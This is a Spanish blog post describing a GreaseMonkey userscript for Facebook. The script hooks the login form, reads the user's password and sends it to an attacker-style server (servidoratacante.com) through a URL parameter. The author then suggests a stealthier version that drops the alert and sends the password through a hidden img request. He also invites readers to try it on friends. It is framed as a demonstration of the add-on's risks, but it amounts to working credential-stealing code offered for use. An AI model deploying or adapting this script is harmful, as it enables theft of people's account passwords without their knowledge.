Archivo de la categoría: Javascript

Trolleando a usuarios poco precavidos gracias a GreaseMonkey

Mucha gente conoce el complemento para Firefox de GreaseMonkey. Es un complemento que puede ser bastante útil para un montón de cosas diferentes, la mayoría de ellas benévolas. De hecho, se ha formado una gran comunidad alrededor de los scripts que realizan los usuarios para usar en este add-on.

Para el que no conozca que hace este complemento, diré que lo que permite es ejecutar un código javascript hecho por el usuario según la página que se esté visitando. Este código javascript es como si proviniera de la página, es decir, tiene todos los permisos para modificar todos los elementos. Ahí es donde está el peligro.

Para enseñar este peligro, he hecho un pequeño script que se ejecutaría cuando se carga facebook y lo que hace es detectar cuando se envía el formulario de login para leer la contraseña. Con esa contraseña se pueden hacer varias cosas malignas discretas y útiles, pero yo simplemente la voy a mostrar con un alert() y voy a abrir una página a la que se pasa por GET la pass (obviamente para que fuera útil habría que mandar también el email) .

Antes de enseñar el script, tengo que dar todo el crédito que se merece a Joan Piedra, que se ingenió la forma de cargar jQuery desde un script de greasemonkey. Yo uso su código en mi script para facilitar todo el trabajo (de hecho la porción de código que es mia son simplemente dos o tres líneas ya que solo quería hace un PoC). Bueno, aquí está el código :


// ==UserScript==
// @name           FacebookS
// @namespace      hacks
// @include        https://www.facebook.com/*
// ==/UserScript==

var $;

// Add jQuery
    (function(){
        if (typeof unsafeWindow.jQuery == 'undefined') {
            var GM_Head = document.getElementsByTagName('head')[0] || document.documentElement,
                GM_JQ = document.createElement('script');

            GM_JQ.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js';
            GM_JQ.type = 'text/javascript';
            GM_JQ.async = true;

            GM_Head.insertBefore(GM_JQ, GM_Head.firstChild);
        }
        GM_wait();
    })();

// Check if jQuery's loaded
    function GM_wait() {
        if (typeof unsafeWindow.jQuery == 'undefined') {
            window.setTimeout(GM_wait, 100);
        } else {
            $ = unsafeWindow.jQuery.noConflict(true);
            letsJQuery();
        }
    }

// Aquí está el código que hace lo importante, obtiene la pass y la maneja
    function letsJQuery() {
        $('form').submit(function() {
            texto = $('#pass').attr('value');
            alert(texto);
            open('http://servidoratacante.com/recibe.php?pass='+texto);
         });
    }

Si queréis probarlo solo tenéis que añadir ese script a vuestro Greasemonkey y ver como algún amigo vuestro os revela su contraseña ante su máximo asombro.

Es un método que puede pasar bastante desapercibido si se mejoran algunas cosas. Por ejemplo, para que fuera útil se podría quitar el alert, y insertar en alguna parte de la página algo así:

<img src='http://servidoratacante.com/recibe.php?pass=<pass>' />

Como se hace en los típicos ejemplos de CSRF (me refiero a lo de hacer la petición via img para que no se vea muy sospechoso). Esto sería bastante sencillo de hacer con javascript.

Bueno, este es el final del artículo, espero que os haya interesado. Lo último que tengo que decir es: «no jodáis mucho«.

Saludos.